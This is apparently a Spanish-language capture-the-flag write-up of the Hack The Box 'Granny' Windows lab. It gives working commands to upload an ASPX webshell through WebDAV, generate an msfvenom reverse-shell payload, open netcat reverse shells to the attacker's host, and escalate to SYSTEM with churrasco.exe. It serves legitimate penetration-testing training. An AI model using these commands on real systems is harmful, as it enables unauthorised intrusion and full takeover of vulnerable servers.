Saltar al contenido

HackTheBox – Granny – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Granny de Hack the Box. Es una máquina Windows, de nivel fácil que si bien no se encuentran ya máquinas así en HTB, en una buena máquina para preparar el OSCP.

Está máquina es prácticamente una copia de la máquina Grandpa de Hack the box, cuyo writeup podéis leer en mi anterior post. La única diferencia es que se puede hacer la explotación por una vía diferente, además de por la vía indicada en Grandpa.

Enumeración

Comienzo escaneado los 5000 puertos mas comunes, estableciendo un envío mínimo de 10000 paquetes por segundo.

nmap --top-ports 5000 --min-rate 10000 -n --open 10.10.10.15

En la máquina solamente hay un puerto abierto. Escaneo el puerto que he encontrado para ver la versión del servicio que está corriendo en él y ejecuto una serie de scripts de enumeración básicos.

nmap -sC -sV -p80 10.10.10.15
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-03 15:59 CET
Nmap scan report for 10.10.10.15
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods: 
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan: 
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Wed, 03 Nov 2021 15:06:07 GMT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds

Entro a la web con el navegador pero solo encuentro una página por defecto.

Utilizo whatweb para leer las cabeceras pero no me aporta ninguna información nueva.

Como me he encontrado un protocolo WebDAV en ejecución y nmap indica que el método PUT está permitido, voy a enumerar las extensiones de los binarios que puedo subir con davtest.

La consola me indica que se pueden subir ficheros de varias extensiones. WebDAV funciona mediante ficheros con extensión .aspx pero, como se ve en la imagen anterior, está bloqueada la subida de ficheros con esta extensión por lo que haré será subir un payload de extensión .aspx con la extensión .txt y después cambiarla a .aspx.

En este punto, tengo dos opciones (la generación del fichero es independiente del método).

Opción 1: Curl

Voy a generar una webshell y la utilizaré para conseguir una shell reversa por netcat. Utilizo el binario /usr/share/davtest/backdoor/aspx_cmd.aspx, al que le he cambiado el nombre por cmd.txt (por defecto en kali).

curl -T cmd.txt --url http://10.10.10.15/
curl -X MOVE --header 'Destination:http://10.10.10.15/cmd.aspx' 'http://10.10.10.15/cmd.txt'

Accedo a la url http://10.10.10.15/cmd.aspx, ejecuto el comando whoami y veo que he conseguido una webshell.

Activo un servidor smb, llamado evilsmb, añado en él el binerio nc.exe (por defecto en kali) y, con el siguiente comando, consigo una shell reversa.

start /b \\10.10.14.2\evilsmb\nc.exe -e cmd.exe 10.10.14.2 7897

Opción 2: Cadaver

Genero un binario con msfvenom y lo subo al WebDAV con la herramienta cadaver.

msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=7898 -f aspx -o evilshell.txt
cadaver http://10.10.10.15
put evilshell.txt

Accedo a la ruta del fichero y veo el código del binario.

Con cadaver, cambio la extensión del fichero.

mv evilshell.txt evilshell.aspx

Por último pongo un netcat a la escucha y abro el fichero desde el navegador.

Y consigo una shell reversa.

Escalada de Privilegios

Actualmente soy el usuario nt authority\network service y no tengo permisos para acceder al directorio del usuario (Lakis).

Esta fase es exactamente igual que la seguida en la máquina Grandpa.

Comienzo viendo los privilegios de mi usuario y veo que SeImpersonatePrivilege está como Enable.

Continuo enumerando la información del sistema y veo que se trata de un Windows Server 2003 de 32 bits.

En un primer momento pensaría en escalar privilegios con Hot Potato o Juicy Potato pero ninguno de los binarios funciona para esta versión de Windows. Buscando en google, llego a está pagina de github donde me indican el nombre de la vulnerabilidad, su página de exploit-db y que debo utilizar un binario llamado currasco.exe. Al revisar la página de exploit-db veo que esta vulnerabilidad está registrada con el código CVE-2009-0078.

Me descargo el exploit, lo subo a la máquina victima creando un servidor smb y lo ejecuto.

Como se ve en la imagen anterior, este binario me permite ejecutar comandos como nt authority\system por lo que voy a inyectar un netcat a mi máquina atacante para conseguir una shell reversa. Primero subo un el binario nc.exe (el que hay por defecto en kali me sirve) y luego ejecuto el comando con la inyección.

churrasco.exe "nc.exe -e cmd.exe 10.10.14.9 7899"

Y consigo una shell reversa de nt authority\system.

Flags

Me he dejado las flags para el final debido a que solo he podido acceder a ellas una vez he conseguido el usuario nt authority\system.

User.txt

La flag de usuario la encuentro en C:\Documents and Settings\Lakis\Desktop\user.txt.

Root.txt

La flag de root la encuentro en C:\Documents and Settings\Administrator\Desktop\root.txt.

Publicado enCTFHTBOSCPwindows